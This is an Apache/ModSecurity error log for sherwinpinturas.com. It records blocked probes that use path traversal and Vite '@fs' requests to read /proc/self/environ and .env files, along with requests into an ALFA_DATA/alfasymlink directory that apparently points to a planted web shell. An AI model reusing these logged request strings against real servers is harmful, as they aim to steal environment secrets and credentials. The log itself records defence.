[Sun Oct 25 21:38:30.600391 2026] [security2:error] [pid 2930612:tid 2930612] [client 34.80.240.124:49642] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../proc/self/environ?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at6vFpHtMtN5e4U4U0biPwAAAAI"]
[Sun Oct 25 21:38:30.600427 2026] [security2:error] [pid 2930612:tid 2930612] [client 34.80.240.124:49642] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../proc/self/environ?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at6vFpHtMtN5e4U4U0biPwAAAAI"]
[Sun Oct 25 21:38:30.600788 2026] [security2:error] [pid 2930612:tid 2930612] [client 34.80.240.124:49642] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at6vFpHtMtN5e4U4U0biPwAAAAI"]
[Sun Oct 25 21:38:30.601061 2026] [security2:error] [pid 2930612:tid 2930612] [client 34.80.240.124:49642] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at6vFpHtMtN5e4U4U0biPwAAAAI"]
[Sun Oct 25 21:38:30.834186 2026] [security2:error] [pid 2936922:tid 2936922] [client 34.80.240.124:49698] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/var/task/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/var/task/.env"] [unique_id "at6vFpULOWoEMRW-pEzjHgAAABE"]
[Sun Oct 25 21:38:30.834697 2026] [security2:error] [pid 2936922:tid 2936922] [client 34.80.240.124:49698] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/var/task/.env"] [unique_id "at6vFpULOWoEMRW-pEzjHgAAABE"]
[Sun Oct 25 21:38:30.835112 2026] [security2:error] [pid 2936922:tid 2936922] [client 34.80.240.124:49698] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/var/task/.env"] [unique_id "at6vFpULOWoEMRW-pEzjHgAAABE"]
[Sun Oct 25 21:38:30.878524 2026] [security2:error] [pid 2919322:tid 2919322] [client 34.80.240.124:49608] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at6vFpHo7mmwz2JULlIttQAAAAw"]
[Sun Oct 25 21:38:30.879076 2026] [security2:error] [pid 2919322:tid 2919322] [client 34.80.240.124:49608] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at6vFpHo7mmwz2JULlIttQAAAAw"]
[Sun Oct 25 21:38:30.879330 2026] [security2:error] [pid 2919322:tid 2919322] [client 34.80.240.124:49608] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at6vFpHo7mmwz2JULlIttQAAAAw"]
[Sun Oct 25 21:38:30.879491 2026] [security2:error] [pid 2928659:tid 2928659] [client 34.80.240.124:49656] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/proc/self/cwd/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/proc/self/cwd/.env"] [unique_id "at6vFgPsVzpIp32jbe9FYgAAAAQ"]
[Sun Oct 25 21:38:30.879903 2026] [security2:error] [pid 2928659:tid 2928659] [client 34.80.240.124:49656] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/proc/self/cwd/.env"] [unique_id "at6vFgPsVzpIp32jbe9FYgAAAAQ"]
[Sun Oct 25 21:38:30.880162 2026] [security2:error] [pid 2928659:tid 2928659] [client 34.80.240.124:49656] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/proc/self/cwd/.env"] [unique_id "at6vFgPsVzpIp32jbe9FYgAAAAQ"]
[Sun Oct 25 21:38:30.905167 2026] [security2:error] [pid 2930612:tid 2930612] [client 34.80.240.124:49642] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at6vFpHtMtN5e4U4U0biQAAAAAI"]
[Sun Oct 25 21:38:30.905662 2026] [security2:error] [pid 2930612:tid 2930612] [client 34.80.240.124:49642] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at6vFpHtMtN5e4U4U0biQAAAAAI"]
[Sun Oct 25 21:38:30.905914 2026] [security2:error] [pid 2930612:tid 2930612] [client 34.80.240.124:49642] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at6vFpHtMtN5e4U4U0biQAAAAAI"]
[Sun Oct 25 21:38:31.043168 2026] [security2:error] [pid 2918422:tid 2918422] [client 34.80.240.124:49624] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at6vF8mX8eKs_cgmrz9w7gAAAAU"]
[Sun Oct 25 21:38:31.043751 2026] [security2:error] [pid 2918422:tid 2918422] [client 34.80.240.124:49624] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at6vF8mX8eKs_cgmrz9w7gAAAAU"]
[Sun Oct 25 21:38:31.044050 2026] [security2:error] [pid 2918422:tid 2918422] [client 34.80.240.124:49624] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at6vF8mX8eKs_cgmrz9w7gAAAAU"]
[Sun Oct 25 21:38:31.121320 2026] [security2:error] [pid 2938872:tid 2938872] [client 34.80.240.124:49696] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at6vF2kY-VB8B4bkBm4w0gAAAAs"]
[Sun Oct 25 21:38:31.121897 2026] [security2:error] [pid 2938872:tid 2938872] [client 34.80.240.124:49696] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at6vF2kY-VB8B4bkBm4w0gAAAAs"]
[Sun Oct 25 21:38:31.122244 2026] [security2:error] [pid 2938872:tid 2938872] [client 34.80.240.124:49696] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at6vF2kY-VB8B4bkBm4w0gAAAAs"]
[Sun Oct 25 21:38:31.150131 2026] [security2:error] [pid 2938874:tid 2938874] [client 34.80.240.124:49682] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:filename. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "41"] [id "930120"] [rev "4"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:filename: file:/proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/__vite_rsc_findSourceMapURL"] [unique_id "at6vF5APeUn6dCAFqEm2rgAAAA4"]
[Sun Oct 25 21:38:31.150948 2026] [security2:error] [pid 2938874:tid 2938874] [client 34.80.240.124:49682] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/__vite_rsc_findSourceMapURL"] [unique_id "at6vF5APeUn6dCAFqEm2rgAAAA4"]
[Sun Oct 25 21:38:31.151694 2026] [security2:error] [pid 2938874:tid 2938874] [client 34.80.240.124:49682] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): OS File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/__vite_rsc_findSourceMapURL"] [unique_id "at6vF5APeUn6dCAFqEm2rgAAAA4"]
[Sun Oct 25 21:38:31.156402 2026] [security2:error] [pid 2930612:tid 2930612] [client 34.80.240.124:49642] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at6vF5HtMtN5e4U4U0biQQAAAAI"]
[Sun Oct 25 21:38:31.156853 2026] [security2:error] [pid 2930612:tid 2930612] [client 34.80.240.124:49642] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at6vF5HtMtN5e4U4U0biQQAAAAI"]
[Sun Oct 25 21:38:31.157147 2026] [security2:error] [pid 2930612:tid 2930612] [client 34.80.240.124:49642] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at6vF5HtMtN5e4U4U0biQQAAAAI"]
[Sun Oct 25 21:38:32.398049 2026] [security2:error] [pid 2918422:tid 2918422] [client 34.80.240.124:49624] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/merchant"] [unique_id "at6vGMmX8eKs_cgmrz9w8gAAAAU"]
[Sun Oct 25 21:38:32.398096 2026] [security2:error] [pid 2918422:tid 2918422] [client 34.80.240.124:49624] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/merchant"] [unique_id "at6vGMmX8eKs_cgmrz9w8gAAAAU"]
[Sun Oct 25 21:38:33.274740 2026] [ssl:error] [pid 2938907:tid 2938907] (70014)End of file found: [client 54.147.80.137:13890] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:38:40.147612 2026] [core:error] [pid 2936922:tid 2936922] (13)Permission denied: [client 44.223.232.55:4410] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/device:04/physical_node/remove
[Sun Oct 25 21:38:40.169290 2026] [ssl:error] [pid 2936922:tid 2936922] (70014)End of file found: [client 98.83.8.142:49443] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:38:46.361522 2026] [ssl:error] [pid 2938960:tid 2938960] (5)Input/output error: [client 54.86.59.155:26255] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:38:50.252963 2026] [ssl:error] [pid 2938958:tid 2938958] (70014)End of file found: [client 100.24.149.244:10745] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:39:02.304518 2026] [ssl:error] [pid 2938960:tid 2938960] (70014)End of file found: [client 3.213.106.226:49845] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:39:06.158350 2026] [ssl:error] [pid 2932351:tid 2932351] (70014)End of file found: [client 3.231.193.38:50354] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:39:10.201175 2026] [ssl:error] [pid 2938958:tid 2938958] (70014)End of file found: [client 52.207.47.227:31588] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:39:11.608004 2026] [core:error] [pid 2934778:tid 2934778] (13)Permission denied: [client 185.191.171.9:46328] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip4-frags/free_calls
[Sun Oct 25 21:39:14.137448 2026] [core:error] [pid 2938957:tid 2938957] (13)Permission denied: [client 52.3.104.214:6579] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/PNP0501:01/subsystem/drivers/hardware_error_device/uevent
[Sun Oct 25 21:39:18.262862 2026] [ssl:error] [pid 2938962:tid 2938962] (70014)End of file found: [client 54.144.185.255:34708] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:39:34.323746 2026] [ssl:error] [pid 2938956:tid 2938956] (70014)End of file found: [client 52.54.157.23:32946] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:39:37.931808 2026] [core:error] [pid 2938959:tid 2938959] (13)Permission denied: [client 185.191.171.19:64718] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/uts_namespace/objects
[Sun Oct 25 21:39:42.135672 2026] [ssl:error] [pid 2938960:tid 2938960] (70014)End of file found: [client 44.210.204.255:58965] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:39:46.352531 2026] [ssl:error] [pid 2938957:tid 2938957] (70014)End of file found: [client 23.21.148.226:51669] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:39:50.269238 2026] [ssl:error] [pid 2938959:tid 2938959] (70014)End of file found: [client 100.28.44.58:36375] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:40:01.917081 2026] [security2:error] [pid 2936926:tid 2936926] [client 107.172.76.131:50006] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6vZf43GQScGTsgQfSc2QAAABU"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Sun Oct 25 21:40:01.917185 2026] [security2:error] [pid 2936926:tid 2936926] [client 107.172.76.131:50006] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6vZf43GQScGTsgQfSc2QAAABU"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Sun Oct 25 21:40:03.056377 2026] [ssl:error] [pid 2938878:tid 2938878] (70014)End of file found: [client 44.220.2.97:52988] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:40:06.271814 2026] [ssl:error] [pid 2938959:tid 2938959] (70014)End of file found: [client 44.221.227.90:39410] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:40:30.141637 2026] [ssl:error] [pid 2938962:tid 2938962] (70014)End of file found: [client 3.212.205.90:28331] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:40:34.292232 2026] [ssl:error] [pid 2938926:tid 2938926] (70014)End of file found: [client 44.214.19.8:41741] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:40:38.239467 2026] [ssl:error] [pid 2936922:tid 2936922] (70014)End of file found: [client 18.204.89.56:26356] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:41:02.142392 2026] [ssl:error] [pid 2932351:tid 2932351] (70014)End of file found: [client 34.236.41.241:35755] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:41:10.256194 2026] [ssl:error] [pid 2938958:tid 2938958] (70014)End of file found: [client 35.171.117.160:59367] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:41:14.151088 2026] [ssl:error] [pid 2938956:tid 2938956] (70014)End of file found: [client 54.84.147.79:51823] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:41:18.128196 2026] [ssl:error] [pid 2938962:tid 2938962] (70014)End of file found: [client 35.169.119.108:50649] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:41:30.124239 2026] [core:error] [pid 2932351:tid 2932351] (13)Permission denied: [client 3.216.13.10:9459] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/device:05/physical_node/rescan
[Sun Oct 25 21:41:39.868620 2026] [security2:error] [pid 2936921:tid 2936921] [client 107.172.76.131:50008] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6vxgdfoouc32iEpvzFMgAAAA8"], referer: https://clic2.sherwinpinturas.com//beta.php
[Sun Oct 25 21:41:39.868669 2026] [security2:error] [pid 2936921:tid 2936921] [client 107.172.76.131:50008] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6vxgdfoouc32iEpvzFMgAAAA8"], referer: https://clic2.sherwinpinturas.com//beta.php
[Sun Oct 25 21:41:46.161064 2026] [ssl:error] [pid 2934778:tid 2934778] (5)Input/output error: [client 3.227.180.70:62701] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:41:50.153534 2026] [ssl:error] [pid 2938878:tid 2938878] (70014)End of file found: [client 44.217.177.142:8532] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:41:54.165350 2026] [core:error] [pid 2932351:tid 2932351] (13)Permission denied: [client 184.73.167.217:26061] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:00.0/subsystem/drivers/virtio-pci/module/uevent
[Sun Oct 25 21:41:59.369925 2026] [core:error] [pid 2938962:tid 2938962] (13)Permission denied: [client 85.208.96.201:48790] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-4k/objects_partial
